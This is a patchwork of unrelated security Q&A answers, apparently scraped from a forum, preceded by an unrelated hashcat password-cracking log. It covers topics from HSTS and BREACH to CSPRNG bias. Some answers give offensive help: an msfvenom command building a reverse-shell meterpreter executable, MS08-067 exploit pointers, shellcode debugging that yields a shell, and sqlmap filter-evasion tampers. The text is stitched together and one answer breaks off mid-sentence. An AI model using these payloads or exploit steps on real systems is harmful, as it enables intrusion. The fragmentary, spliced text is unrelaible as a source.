Rules: 1

Applicable optimizers:
* Zero-Byte

Password length minimum: 0
Password length maximum: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastical reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger disabled.

* Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=32 -D CUDA_ARCH=601 -D AMD_ROCM=0 -D VECT_SIZE=1 -D DEVICE_TYPE=4 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=500 -D _unroll'
* Device #1: Kernel m00500.c2bb92e8.kernel not found in cache! Building may take a while...

* Device #1: Kernel amp_a0.e98c1de0.kernel not found in cache! Building may take a while...

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

- Device #1: autotuned kernel-accel to 128
- Device #1: autotuned kernel-loops to 250


How to explain to our developer manager the benefits of using a linter also as a security feature?

Because you are talking to a manager talk to them in terms that make sense to their world - costs.

Linting stops mistakes being made earlier speeding up the release process as well as reducing costs.

In terms of securing a product some linter's provide rules for detecting common security mistakes that say a junior developer may not be aware of. You can also create specific rules yourself for business logic rules you may want to enforce depending on your stack.

This falls into the shift left mentality of software development - my personal favorite is the SonarLint as I have written security rules in it for Java, XML and C# and once written they are provided to developers with the tool installed in their IDE and enforced without them needing to know about the rule other than they must follow it.


How can I implement a whitelist based on packet content?

http://www.lowth.com/howto/iptables-treasures.php

And what a treasure it is. IPTables itself has a string module that can do this by looking for strings defined in the ruleset and passing them on.

http://linux.blogs.com.np/2008/03/11/iptables-string-matching/

  Kernels from 2.6 include support for matching strings present in IP packets, inspecting the entire packet data. Earlier kernels supported matching at the IP header level only, which was a limitation as the rules can only be formed based on header values like IP addresses, ports, packet state etc. The netfilter iptables firewall system has undergone great advancements in the latest kernels, with the modified string matching option being more interesting among them for server administrators. The rules, based on string matching functions, are very easy to implement.


How to test against DDoS in a controlled enviroment?

Since DDoS is not really a specific attack, on a specific vulnerability, testing for it is kinda pointless, especially since there's not much you can do about it anyway, except for scaling out more. (See my answer here for explanation why).

What you should be doing, is doing load testing - if you can handle 100K legitimate clients, you know thats how much you can scale against DDoS... and a DDoSer would need to scale up his botnet that much in order to succeed in attacking you. If you can't - well, then DDoS isn't really your issue, is it? (Of course, replace 100K with any number that makes sense for your site, given your business, risk, availability requirements, exposure, etc).

If you're just looking for a way to simulate that, the best way I can think of is some form of "cloud" based systems, e.g. throw up a large pile of virtualized machines on Amazon's systems and have them all go to your system. Of course, these would all come from similiar IPs, and DDoS come from all over - so maybe in addition to Amazon, you also want Azure, and also etc etc.....


Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell?

How are you determining the address of buffer[]? If you're running the app under gdb, printing the address, and then running the exploit script using that address against the application running outside gdb, then note that the stack may be at a different address depending on whether you're running under gdb!

For example, I modified vuln.c to print the address when it starts:

printf("%p\n", &buffer[0]);

When I run the application directly, the result is consistently one address:

$ echo x | ./tmp
0x7fffffffe1f0

... but when I run the application under gdb, the result is consistently a different address:

$ echo x | gdb -ex run ./tmp
...
0x7fffffffe1a0

The difference between those two values may be the "0x...50 <-> 0x...d0" difference you're having to apply in order to get the exploit to work.

Now if I use the non-gdb buffer address when running the app outside gdb, the exploit works as expected.

$ ./tmp-exploit.py 0x7fffffffe1f0 | ./tmp
0x7fffffffe1f0
FAIL

$ ./tmp-exploit.py 0x7fffffffe1a0 | gdb -ex run ./tmp
...
0x7fffffffe1a0
FAIL
process 23430 is executing new program: /bin/dash
[Inferior 1 (process 23430) exited normally]
(gdb) quit


OK, I'll bite as this question seems slightly different from the previous one.

  is it possible to get some information from user to detect user location?

Yes, the most accurate will be from dedicated commercial tracking companies that use various datasets to match your computer to your real identity and location. This is mentioned in the question that Steffen links to.

A slight caveat is that if you are on an ISP the uses double-NATing, your IP address alone is not sufficiently unique. If your ISP tells you that you cannot run a home server at all, that is one indication of them double-NATing. Of course, as most ISP's use some form of dynamic IPv4 allocation, again, IP address alone may be insufficiently accurate without knowing what specific time you are interested in.

Note that the browser itself may leak information about your location too. For example, my default browser is set to accept en-GB by default by which you can imply that I am in the UK (unless I'm travelling!).

  if a government like north Korea gets a user's Dynamic address, what does this government need to go to the ISP and say: "We need the user who was in your ..**... IP address?"

"The ISP"? Which ISP? Or rather, where are they based. If NK came to my ISP and asked about my location, the ISP would probably chuckle, print the request and stick it on the wall as a souvenir and let the UK government know. ;-)

If there is such a thing as an ISP in NK, I would imagine they would have no problem at all getting the exact details of location and person as long as they knew what time they wanted an answer for.


Is it possible to let a fake certificate appear valid by sending fake OCSP responses?

OCSP is a way for the CA to INVALIDATE specific certificates. A browser will also check the signature of the supplied certificate against the CA's root certificate (possibly in a few steps, the certification chain), this is done completely locally.

So in short, no it is not possible to make a fake certificate look valid without replacing the CA's root certificate in the users browser. (Only a certificate in the chain should not be enough.)


MS08-067.c fails at WNetAddConnection2()

Well if your goal is just to exploit MS08-67 (and not make this code you found work) have you tried using this:
https://www.exploit-db.com/exploits/7132/

Unfortunatley, you may not be able to just update the return address with the one here, as its for WinXPsp0/1:
https://www.exploit-db.com/exploits/40279/

Last, disassemble the netapi32.dll on your WinXPsp2 yourself to determine an appropriate return address.


Bypassing Web Application input validation

The attacker doesn't get to choose what encodings might be effective. If there is no base64-decoder at the application end, performing base64 encoding will achieve nothing.

If there is a base64 decoding step at the application end, the application should be performing input validation after the decoding has been done.

In the case of WAFs, which sit in between and don't know what decoding the application might be doing, you're right - they're not reliable.

Some tools only apply the protocol-standard decoding (eg URL-decoding for URL parameters) and would false-negative on attacks encoded using an ad hoc scheme; some tools try a selection of encodings and optionally combinations n deep of encodings to try to spot attack signatures, which can lead to false positives as harmless text that will never be base64-decoded gets misinterpreted as the base64-encoding of something that could be an attack.

So yeah, fixes like WAFs that operate above the application layer are unreliable - but that's nothing new. Nobody should be relying solely on a WAF for security; they're good for detecting generic attacks, and for temporary custom workarounds for known vulnerabilities until an app fix is available, but they can never be a watertight input filter.


Does each device of the same model have different SSL certificates for them?

A certificate is used to make sure that you connect to the correct device, that is that no man-in-the-middle is intercepting the connection. If you employ the same certificate on lots of devices which are shipped to lots of different customers the goal of proper verification if your own device can not be reached. Apart from that each of these devices would probably contain the same private key, thus extracting the private key from a single of these devices would make an attacker to intercept communication of all of the others and depending on the ciphers used would also make it be able to decrypt also previously intercepted encrypted traffic.

Thus the usual way is to create a unique certificate for each device, with a unique public and private key. Even better is to let the user replace the certificate with their own, because this way in can be better integrated in their own infrastructure.


How should I mitigate the XSS vulnerabilities in KnockoutJS described at mustache-security?

The attack described in mustache-security describes a bypass of a Web Application Firewall (WAF) that try to prevent XSS by dropping HTTP requests that contain


If it's somebody you barely know then they aren't a friend, but an acquaintance. There's an important difference here, I'd trust a friend to offer me a shell in good faith, but with an acquaintance I would not have a high level of trust.

That being said accepting a shell login from someone you don't know that well is a low risk to your system as there are few options there for him to attack you through your ssh client directly. The real risks come from being on the system itself:

You don't know what he's doing. If he's engaging in criminal activity and you are logging into the same system as him you could end up being investigated
Whatever you do on the system is available to him. If you write code or store personal information he could view it, if you use it for browsing he can see your history
Downloads from the system could be used to attack you. This is the direct risk to your system.

How much of a risk this all adds up to be depends on how well you know this person and their reputation, what you plan to do with the offered shell, and what you have of value (are you a target). If you make sure your system and ssh client are all up to date and use good sense you shouldn't run into too many problems.

Just remember to practice good user ethics. this person has offered you something, don't abuse it by doing anything illegal or unethical with it. Also, take care not to mess with his server.


There is an in-depth analysis of the security of SAML in the PhD thesis of Thomas Gross (Bochum):

http://www-brs.ub.ruhr-uni-bochum.de/netahtml/HSS/Diss/GrossThomas/diss.pdf

His analysis led to the revision 2.0 of the SAML standard. It is very clear that certain communications have to be encrypted to keep the protocol secure, and that you need to know that you communicate with the right server.

While there are other possible solutions than server certificates, certificates are the standard way to do it. Note that only the servers need to have certificates, it is not necessary that the users/browsers have certificates.


It's relatively unlikely that your phone has been infected with a persistent rootkit type malware, even if you've been viewing porn, but technically it's possible. It's also really unlikely that any malware which you had been infected with would be directly associated with your Apple ID - in general, only user generated data is preserved, while apps are pulled from the current version available on the App Store (much to the frustration of people who wanted to keep an old feature when upgrading their phone).

However, it would be possible that some malware that you had picked up now had obtained your Apple ID credentials, allowing it to access your data. In that case, you're a bit late to stop anything - could have pulled your texts/messages and be preparing to send them to co-workers now.

Your plan seems sensible, but I'd add in changing your Apple ID password, ideally from a different device, and making sure you never enter it in the current OS you're running (e.g. set the OS update running, and once that's done, but before logging in, change your Apple ID password from another device, so your fresh install only ever sees the new one). That way, assuming that your password had been compromised, but no access had been made, your data should be safe. It's probably also worth cleaning your stored data of anything you don't want associated with your account before syncing with the fresh install.

Once you're running a fresh install, make sure you regularly apply OS updates, even if they're a bit of a pain - there are good security reasons to do so, even if Apple tends to promote the new emojis as more important reasons!

Other basic advice would be to ensure that any passwords and usernames used on sites are distinct from your Apple ID ones - and from each other. It's depressingly common for accounts to be compromised following password leaks at unrelated sites, where people have used the same passwords in multiple places. If you're worried about reputational damage from pornography, don't forget that any email addresses you might have used to sign up to sites would also be exposed should a site be compromised - the biggest example of that would be the Ashley Madison breach from a couple of years ago.


There is a company selling safety equipment using the concept of remote RFID.  Construction person wears an RFID vest and the backhoe has a "card reader" on it and when it beeps the driver knows there is a person behind him etc.  The way RFID works for the most part you just need more copper wire to get a reading from further away.  There are offensive security applications for this.


You are right except for few points to let me break it down for you.

FIDO: First iteration in creating a cross-industry standard for passwordless / 2fa experience (with UAF and U2F) ---> Yes you are right about but remember FIDO 1.0 never achieved standardization

FIDO2: Second iteration (with CTAP and Webauthn) --> Partially right about FIDO2.0. It comprised of WebAuthn (the Browser API) W3C standard and CTAP2 (the authenticator API) (formally known as U2F/CTAP1) and also FIDO Alliance relabeled U2F as CTAP1. Quite confusing but yeah we have to live with it.

U2F: specifies a Javascript API and a HID protocol for FIDO --> Yes you are right

CTAP: specifies a HID protocol for FIDO2 --> Yes you are right. CTAP is like client-side protocol to establish communication with external security keys.

Webauthn: specifies a Javascript API for FIDO2 --> Perfect


Are limited length passwords a security risk?

Yes. Passwords are by nature very prone to be mishandled, and most decisions taken about its management are arbitrary or have more grounds in function than in security. In particular, any measure that trim the possible password space are particularly bad.

One example is ATM PINs. They have only 4 digits (in most cases, at least), so most of their strength relies on the fact that retries are limited. So, for a normal scenario, you have 3 tries to guess a value out of 10000. That means a probability of success of 1/3333. Humans are terrible at randomness, and as a result some PINS are more likely than others: 1111, 1234, and so on. As a result, some banks introduce rules: not repeated numbers (now you have only 5040 possible PINs), not math sequences (1234, 2468... how many of those can you build?), not keyboard patterns (L shaped PIN, a straight line, etc.). After you blacklist so many options, the attacker has now a much smaller search space to guess, and the probabilities are more favorable for them.

For a more open environment (higher capabilities for the attacker), there are lower limits that make sense, since a dictionary attack is almost trivial for short passwords. Some would say 8, some would say 10, but nobody would say 6 is reasonable. If the passwords are hashed (and salted), it comes a point where longer passwords have no increase in security, but it makes little sense to put a limit on them.


Does a Content Delivery Network (CDN) interrupt end-to-end security?

A content delivery network must have access to the content, so it can optimize delivery through caching, compression etc. With true end-to-end encryption between the browser and the web server it is not possible that the CDN in between gets access to the content. Therefore the CDN itself must be that endpoint of the encryption, i.e. the connection is only secured between browser and CDN and the CDN has access to the unencrypted data from client and server. If the connection between CDN and server is then encrypted again or if is unencrypted depends on the setup and you will find both cases in practice.

Note that a load balancer is different from a CDN because it does not need access to the content. Therefore it can simply pass through the TLS connection to the server, so you get end-to-end security. But in practice load balancers are often combined with SSL offloading so that you don't have end-to-end security again. But since load balancers are (contrary to CDN) usually in the same local network as the servers this is not that much of a problem.


Does TLS protocol make encryption at L2/L3 layers redundant?

TL;DR: TLS secures the connection to a specific host or service. It will not help to make sure that the right host or service is chosen correctly. If this is a problem or not depends on the specific use case.

TLS provides end-to-end protection against sniffing and modification even if no such protection is employed at the lower layers. It will also detect if an attacker tries to spoof an existing system by redirecting the underlying layers (i.e. ARP spoofing or spoofing response to an DNS A/CNAME lookup). Thus you don't need to have additional protection  at the bluetooth level for an already TLS protected transfer.

But note that there might be parts of the systems protocol stack which are not sufficiently protected and which might lead to creating a TLS connection to the wrong host name or service. For example in order to deliver a mail between mail servers a DNS MX lookup is done to find the mail server for a specific domain. Since DNS lookups are commonly not protected against spoofing, a spoofing of the response to an MX lookup might be used to return a different target host name which results in a connection to the wrong (spoofed) mail server. In this case TLS will not help since the connection is done to the expected (spoofed) mail server which also returns a valid certificate for this (spoofed) mail server. Similar insecure discovery of target hosts and services exist in other protocols, like SIP (VoIP)  or WPAD.


To use the ms08_067_netapi exploit, you don't need Windows to execute anything. You can exploit it directly. Not sure why are you creating an executable file to exploit that vulnerability. That's not needed.

Anyway, to create a reverse_tcp meterpreter .exe file, Why don't you use msfvenom?

Out of msfconsole, from a standard terminal. Type:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe > ~/Desktop/rootkit.exe

Don't forget to replace x.x.x.x with your IP address. This IP address should be of your Metasploit's host which is going to listen using exploit/multi/handler while Windows execute the .exe file. The port can be changed too but default 4444 is ok.


How can you protect Windows installation drive from "repair your computer" hack?

Pre boot authentication + full disk encryption. This will require a password (or some other authentication factor) before allowing any disk access.


In the Java applet model, a Java applet is a piece of code sent by the server, to be executed by the client, with restrictions. By default, a Java applet cannot interact much with the local system or the network; it may talk only to the origin server, and it cannot read or write local files. However, a Java applet can be signed, in which case it is allowed to ask for extended privileges; the human user sees a Java-specific popup (which also states who signed, and lets the user inspect the relevant certificates), and may elect to click on "OK", at which point the Java applet can do about whatever it wishes.

What the (poorly coded) source you show does is simply to download some resource from a URL and writes the contents in a local file. This code would work only in a signed Java applet that the human user explicitly authorized. If an unsigned Java applet (or an applet which was signed but denied authorizations), then the code will fail, either on the openStream() call (if the applet does not come from server wordpress.org, this is forbidden network access) or on the f.delete() call (local filesystem access being forbidden).

A "drive by" is a kind of Web-related action, in which the user visits a Web site, and sees the site, but "something else" also occurs more or less transparently -- in the classical case, a download for another file. If you try to do that with a Java applet, then this will require that the applet is signed, and that the user clicks "OK" on the Java-specific popup, granting authorizations. Getting an average user to click "OK" on a technical popup is not hard (average users don't grasp technical popups well, and Windows has trained them for decades to dismiss frequent popups without even reading them). However, since the applet is signed, it identifies the signer through his certificate, i.e. the attacker. This increases the risks, from the attacker's point of view; it implies obtaining a non-incriminating certificate, which is, at the very least, extra work. So this acts as a deterrent against that kind of Java-based attacks. Practical attacks with Java more readily abuse security holes in the Java VM, allowing an unsigned applet to gain privileges transparently, without user interaction and without any signature.

Note that if an applet gets sufficient privileges to write local files, then it can, in practice, do anything it wishes with the local machine.


Sending a client-side high-score to a server securely

The server can't fully trust any data it receives from the client, so validating high scores is difficult.

Here are a few options:

Obfuscate the client-side code and traffic to the server. This is the easiest option - it will still be possible to cheat, but probably won't be worth anyone's time.
Send a full or partial replay of the game to the server for validation. The player's moves can be run on the server to determine the legitimate score. This will work for some games and not for others.
Move the game logic and validation to the server. The client simply relays each move to the server, where it is validated and the game state updated.

It comes down to how your game works, how likely it is that people will cheat, and how much you care if they do.


Can you recover the password from ZipCrypto encrypted ZIP file?

Maybe.

The legacy algorithm uses iterated CRC32 to derive its initial state from the password.  As the original paper describing the attack (archive.org link) notes, the invertibility of the CRC32 hash function means that the password can be recovered with complexity 2((n-6)*8), so passwords of up to 16-18 characters should be reasonably recoverable.

However, because the cipher only maintains 12 bytes of internal state, if the actual password is longer than this, an attacker may instead find a 12- or 13-byte "equivalent password" that can decrypt other legacy-zip files, but is useless for decrypting files encrypted with other algorithms.


Sample vulnerable web apps to test Pentesting platforms


What is the corrupted image vulnerability? How does it work?

Such an attack relies on the image parser containing a bug that allows the execution of what would otherwise be a slightly wacky picture.

For example, instead of "red" being interpreted as a color, the computer may try to interpret it as a shell command.


How do I determine whether a person use a (public) WiFi access point using WiFi sniffing?

Some tools can already do this, notably airodump-ng, which will show a list of clients and the network they are currently associated with. The tool can filter by open networks.
QoS data is typically used for the data, but will usually be unintelligible due to encryption, and would need to be processed by another dissector in order to see the payload anyway.


Should user input be validated for it's length?

It does depend on the programming language being used.  Keep in mind that if there is a buffer overflow for a language that manages strings, that overflow will generally occur at levels that you cannot reach.  I think you might be more concerned about situations where you are going to pass the string into another domain (such as a database, a C-based module, etc.)  At this point, it would be prudent to ensure the length and other data type characteristics are appropriate for the destination.

I remember reading in the original spec for HTTP (I think it was there) that a good server should be flexible in what it accepts, but be strict in what it returns.  The same thing can apply here: be as flexible as you can about the user input you receive, but ensure that it is as safe and secure as possible before moving it to another domain.


Why are we developing both DNS over TLS & DNS over HTTPS?

As the references for the wiki pages explain, the reason for having the DoH (DNS over HTTPS) protocol is to hide the fact that you are making a DNS query at all, thereby bypassing filters and DNS hijacking.


When you Enable Editing or Enable Content, you enable any macros embedded in the document to run.

An attacker can embed VBA (Visual Basic for Applications) macros in the document, which is really just a generic programming language.  With it they can access information about your computer, access resources like the network, and get malicious code like a backdoor or an remote access agent to run.  That code can use privilege escalation attacks to gain administrator access, if you weren't already running as an admin, and have full control over the computer.

So, good thing you didn't fall for it.

Note that newer versions of Word have bifurcated the format into .docx and .docm, where .docx files may not contain macros and .docm files may.  This is to make it easier to treat a file as 'safe' as opposed to having every file be a potential macro carrier.


Wireless Access Point security with TEW-638APB

This is a pretty common configuration.

TRENDnet's kb has this to say (not copied here for copyright reasons).  Basically, yes it is possible.  The AP can support up to 4 SSIDs that are on different VLANs.  Just set your routing to have your "guest" VLAN only route to the internet, and not to any of your internal segments.


Missing Powershell Logging Options in Group Policy Editor

You'll need to update your Group Policy administrative templates (the best way to maintain this is to have a centralized ADMX template store on your DCs).

Download the most up to date templates from here:
https://www.microsoft.com/en-us/download/details.aspx?id=48257

The installer will just create a file structure of the current ADMX templates for windows - have it install the files into a temp directory that you can pull files out of. Instead of wholesale replacing all of your templates, you can cherry pick the ADMX / ADML templates that you want to update - in this case the "PowershellExecutionPolicy" template.

Copy the file "PowershellExecutionPolicy.admx" from the New Templates\PolicyDefinitions directory into your Group Policy Template store for the domain. Then go into the applicable language directories for your AD environment (my Org is US only, so I just use "en-US") and copy the PowershellExecutionPolicy.adml file into the same directories in your domain GP Template store. You will probably be prompted to overwrite existing files with the new ones, this is expected (since you're updating the templates).

After replicating between your DCs, the new options should be available.

Info on creating an AD Group Policy Template store here:
https://support.microsoft.com/en-us/help/3087759/how-to-create-and-manage-the-central-store-for-group-policy-administrative-templates-in-windows


List all keys in Utimaco HSM created by PKCS11 and CNG?

This is not a general PKCS#11 question, but it relates to a specific vendor and how this vendor implemented different APIs. Therefore, primary contact point would be their support.
In this case, PKCS#11 and CNG use the vendor's proprietary API CXI and, therefore, all keys can be listed using cxitool (given that you have a user with the proper rights).


How to minimise personalised result skewing in search engines?

What exactly is it that distorts the Google results in SE's favour?

There are 50+ factors (called 'signals' by Google) used to determine search results. Beside specific search queries, it's really hard to have identical sorting with everyone. As reference, the top factors in personalizing search results are:

Location
Search History
Web History
Social Networks

(source)

You can also have a look at the paper "Asymptotic Analysis for Personalized Web Search", here.

  So, how can that automatic, personalised result skewing be avoided?

Change your Google Search settings:

You need to be signed-in to your Google account to disable personal results.

Turn off personal search:
To see general results on a specific search, after the search just click the globe near the upper right corner of the search results page. This will hide personal results.

Turn off personal search for all searches:

Go to Google search and click on the gear icon in the upper right corner and click "Search settings." You need to be signed-in to your Google account to make any changes.
Scroll down to the section marked "Personal results" and click on "Do not use personal results."
Scroll to the bottom of the page and click Save.

Also, the pws=0 parameter:
By adding it to the end of a Google query URL &pws=0, you can theoretically remove history-based personalization.
eg. https://www.google.com/?q=secinfo&pws=0

How to avoid personalized results:

As far as we know, Google is using a super set of factors to personalize you, but the followings solutions probably is a good start:

Anonymity Networks / VPN:
As pointed out by @forest, using Google's search engine within an Anonymity Network (such as Tor) will provide -to a certain extent- non-personalized results. The data will still be localized by the approximate geolocation of exit-node's IP address.
Using Tails:
An anonymous operating systems, such as Tails, are designed to be used from USB stick or DVD independently of the computer's original OS. A clean OS that all connections to the Internet are forced to go through Tor, would eliminate -still, mostly of- the factors that personalize you.

Also, it's interesting to read Google's public Search Liaison's tweets about this topic (discussion):

    FYI, personalization of results is very light. Most people searching in the same language and same location will see largely the same things. Location and language are far more influential about why results differ.

  — (@dannysullivan) May 15, 2018

    Our personalization of results is far, far less than commonly assumed, so it's not surprising.

  — (@dannysullivan) August 21, 2018


Now, this is... ekhm... not the best place to ask SQL syntax questions.

The UPDATE operation does not have a FROM keyword in SQL.  In other words a SELECT operation looks as follows:

SELECT username FROM user_table WHERE user_id = 1;

But the UPDATE operation is:

UPDATE user_table SET username = 'myuser' WHERE user_id = 1;

(which turns to be quite different form your: UPDATE username FROM ...)

So yeah, sqlmap is seeing two queries: an UPDATE (thanks to the UPDATE keyword) and a SELECT (thanks to the FROM keyword).  Most SQL injections do not allow for stacked (multiple) queries.  See this question about the availability of stacked queries in SQL injections.


Is session expiration for all web applications possible?

Browsers have builtin settings to delete all cookies or particular cookies. Thus it is possible that a user can force the "immediately expire" (i.e. deletion) of cookies this way. What is not possible is that a visit to one site can force the deletion or expiration of cookies belonging to other sites.

EDIT: after the edit of the question it looks like that you effectively ask how the server can detect that the cookie is misused (i.e. session hijacking) and invalidate the cookie. Some sites do this by embedding some kind of browser fingerprint or the client IP address into the cookie so that use of the cookie from a different browser or IP gets detected. Once this is detected the cookie can simply removed from the database and thus gets invalid. For more information see OWASP about Session Hijacking.


How to update table with sqlmap and without stacked queries?

No workaround here. You can usually dump the entire database with a boolean based sql injection vulnerability but you cant perform updates.

You can extract but cannot insert or modify existing data.


Is it bad to trust PHP's $_SERVER information?

A: yes... from the perspective of the trailing question, "Does this make my PHP project vulnerable in any way?"
I'll assume that in the config file you have salt/pepper, database credentials, and other parameters that you might find in an ownCloud or Wordpress config.php file, the sort of which would hold value for an adversary.
If your config.php is exposed in your lower environment, you are making production-environment configuration parameters available in this file. Just about anything can happen in a dev environment, where as hopefully your production environment is a little more locked down. The potential for exposure is greater by having all the configuration parameters in the one file.
And for the rigid interpretation of your question...
A: no
Your config.php file would not in any way be less safe if you had an if/else or other branching conditional and the logic was correct. The potential for the contents of this file to be exposed under normal php and web server operation is no different than if you had separate files per environment. With respect to safe, see the other answer that @mti2935 linked to (in a comments against this question) that discusses the safety of the variables in the $_SERVER dict, ie. which parameters can be influenced by the user.
Another observation - with a branching conditional, you're relying on correct implementation of the web server and php interpreter to prevent the user influencing the contents of the $_SERVER dict. I don't have time at the moment to find an example, but there's a large number of vulnerability records to wade through: https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=%24_SERVER&queryType=phrase&search_type=last3years


How can I exploit a web application if content sniffing is not disabled?

Content-Type is just a suggestion of the data provided to the receiver (consumer). This means that the receiver may or may not take action based on that header.

A typical browser will read the content type header to render the content in the best possible way (JSON as a tree, audio stream as a player, etc.). Try to send a JSON string to a browser with Content-Type: application/json and without. Same payload received, different presentation.

A generic application will do whatever it wants with the content. In particular it may decide to display it (or parts of) as raw HTML. In that case if your payload includes correctly formatted JavaScript, it will be executed.

This is not different from classical application hardening. The golden rule is never trust anything you receive. This includes not only the body of your HTTP query but also the headers.

As a side note, the malicious content can get to your data not only though what you receive and process. Someone can also modify, for instance, the data which is stored in your DB directly in the DB. Thus the absolute need to escape what is sent to the recipient, which is ultimately how XSS (and similar) attacks are performed.


Current State of BREACH (GZIP SSL Attack)?

BREACH is a vulnerability that is present when several conditions are met:

HTTP compression is used,
A part of the input is reflected,
A static secret is present in the HTTP body of the response,
The attacker can read the size of the encrypted response,
The attacker can forge requests to the site under attack.

Each of these conditions pose no threat in themselves, but combined they lead to a vulnerability. This is partly the reason that there is no clear-cut solution to this vulnerability: simply upgrading Apache or OpenSSL is not enough. Disabling gzip compression for everything does not make much sense. Reflecting user input is totally fine most of the time. There is not really a simple solution, but there has been made some progress in the last years to mitigate BREACH.

One of the best solutions is the same-site cookie flag. This makes cookies no longer work on cross-origin requests, which solves CSRF-attacks and thus also BREACH. Somebody is working on a specification and it is already implemented in Chrome, Firefox, and Edge on Windows 10. Chrome is even working on making all cookies SameSite by default, thus solving BREACH and all other CSRF-like attacks in Chrome.

There are also several projects that randomize the response length. Some modules put a random HTML comment in each response, which is a total hack. Padding support has been formalized in TLS 1.3, but it will take some time before that is implemented in servers.

Some frameworks have also taken steps to mitigate BREACH attacks, particularly to prevent guessing of the CSRF token. Django randomizes the CSRF token on each request, so that it can not be guessed over multiple requests. This is relatively new, released this year in Django 1.10.

There has also been some progress for attackers. This year researchers have shown that BREACH can also be converted to a timing attack (HEIST), where it is exploitable by just running Javascript in the browser. Finally, a new toolkit (Rupture) has also been developed this year to exploit compression side-channel vulnerabilities.


What affect does modulus have on CSPRNG outputs?

The modulo operation is useful to obtain a number within a certain range. In your example, the output will always be in [0, 556600).

This can cause some changes in the distribution of the random numbers generated:

The main one: a smaller pool of possible values:

If the original number of bytes read out of /dev/urandom is more than ~2.5, then it had a bigger range and higher entropy than the resulting number due simply to the fact that the range is smaller.

The extreme example is modulo 2. You can go from a massive range of possible values to just 0 or 1.

This in itself is not a problem. If you need to randomly pick between two choices, this is the right thing to do. If anything, this will smooth out some imbalances in the PRNG.

The nasty one: a non-uniform distribution:

One nasty side effect of modulus is when the size of the range is not a multiple of the modulus.

eg: % 2 on the range [0, 2]. Two of the original possible values map to 0 while only one maps to 1. If the original distribution is uniform, the final distribution is massively skewed towards 0.

The bigger the range is compared to the modulus, the less of a bias this causes.

In your original example, if we initially read 4 bytes from /dev/urandom, the range is 7716.43 times the modulus (2^32 / 556600) which is not a multiple, but is large enough to be less impactful. Whether the bias is useful will depend on the application.

This part can be problematic: if you need to pick between two choices and you pick the first one 66% of the time, you have a problem.

Summary:

Your friend was partially correct in saying that the entropy changes through a modulo operation, but for the wrong reason. Limiting the number of possible values does not necessarily change the entropy. But biasing the final distribution might.


There is nothing more secure than "secure". An attacker who can break it upfront, because it has "only" 128-bit security, is an attacker who has way more available computing power than all computers on Earth taken together (even including smartphones and coffee machines). It is implausible that such an attacker would swoop down so low as to bother breaking your key; he already knows all your thoughts, directs all your actions, and probably owns your soul as well.

Security levels beyond 128 bits are not meant to provide "more security", but to appease auditors, managers, customers and prospective mates (not necessarily in that order) by a powerful display of extra bits. This is like birds of paradise: by using an oversized key, you send the signal that you are so great that you can afford wasting CPU and network bandwidth on ridiculously enlarged cryptography.

Realistically, if (when) your key is broken, then it won't be through its size; it will be through software bug, hardware leak, or key misuse in a poorly designed protocol. In that sense, we can talk about actual security:

The designer of Curve25519 and author of its usual implementation is Daniel J. Bernstein, who is known to "know his trade". His code probably contains far fewer bugs than what most developers would do. Using his code is, all other things being equal, a good idea.
On the other hand, protocols are an important issue, and it is much easier to botch a protocol than a cryptographic algorithm implementation. By looking for a curve, you are looking for the wrong thing. You should think "what protocol should I use ?" and then (only then) worry about the specific curve, in case the protocol you chose happens to allow use of several curves. Curve25519 has not (yet) percolated into all or even most well-established protocols. For instance, there is no support for Curve25519 in SSL/TLS (there is one in SSH, though).


Scrambled database name / unable to retrieve the number of databases with SQLMap

I think your target has a request filter.
Try typing --tamper between.py.
You have to check what is filtered.
between.py and equaltolike.py tampers may help.


I'll use BIND as the example server software here, for the obvious reason.

1) You can't fill up the disk of dns caching servers.  Cache is in memory, not on disk.  The only way the cache goes to disk is if the administrator goes in and triggers a dump to disk by hand (and that dumped version isn't used by the cache server, it's just there for the administrator to debug with).

2) You can DOS - or at least impact the performance of - caching DNS servers by filling up the cache.  Consider this post - granted, it's 10 years old, but BIND has always been remarkably predictive of BIND.

3) I'm not even sure AXFR gets cached, or that cacheing nameservers will handle AXFR queries.  For example, you can query this example domain directly:

$ dig axfr @ns12.zoneedit.com zonetransfer.me

; <<>> DiG 9.9.3-rpz2+rl.156.01-P2 <<>> axfr @ns12.zoneedit.com zonetransfer.me
; (1 server found)
;; global options: +cmd
zonetransfer.me.        7200    IN      SOA     ns16.zoneedit.com. soacontact.zoneedit.com. 2013064418 2400 360 1209600 300
zonetransfer.me.        7200    IN      NS      ns16.zoneedit.com.
zonetransfer.me.        7200    IN      NS      ns12.zoneedit.com.
zonetransfer.me.        7200    IN      A       217.147.180.162

However, you can't do the same using the well-known BBN caching nameservers as an intermediary.  Watch as the AXFR fails, but an NS query works fine:

$ dig axfr @4.2.2.1 zonetransfer.me
;; communications error to 4.2.2.1#53: end of file
$ dig ns @4.2.2.1 zonetransfer.me

; <<>> DiG 9.9.3-rpz2+rl.156.01-P2 <<>> ns @4.2.2.1 zonetransfer.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49741
...
;; ANSWER SECTION:
zonetransfer.me.        7200    IN      NS      ns16.zoneedit.com.
zonetransfer.me.        7200    IN      NS      ns12.zoneedit.com.

That being said, I couldn't find a good reference that would explain what BIND's caching server will or will not do, so it's hard to make a sweeping statement.

4) Bottom line: Sure, you could DOS a DNS server, but I'm not sure your "large AXFR" method is likely to do it.  And any such DOS would be temporary (in memory), not systemic.  A more likely method would be to create a ginormous number of A records with large TTLs and query them all individually.  (gowen's rule #022: By definition, any Service is susceptible to Denial of Service.)


Why does HSTS not automatically apply to subdomains to enhance security? For what reason would someone not want HSTS on every subdomain?

Subdomains can often be used for different purposes, and as a result they can be using different web applications possibly hosted on different equipment.

Not every website on every subdomain needs to follow the policy of the domain, it can even be the case that sites on subdomains do not support HTTPS due to lack of support in the application and/or not having a SSL certificate.

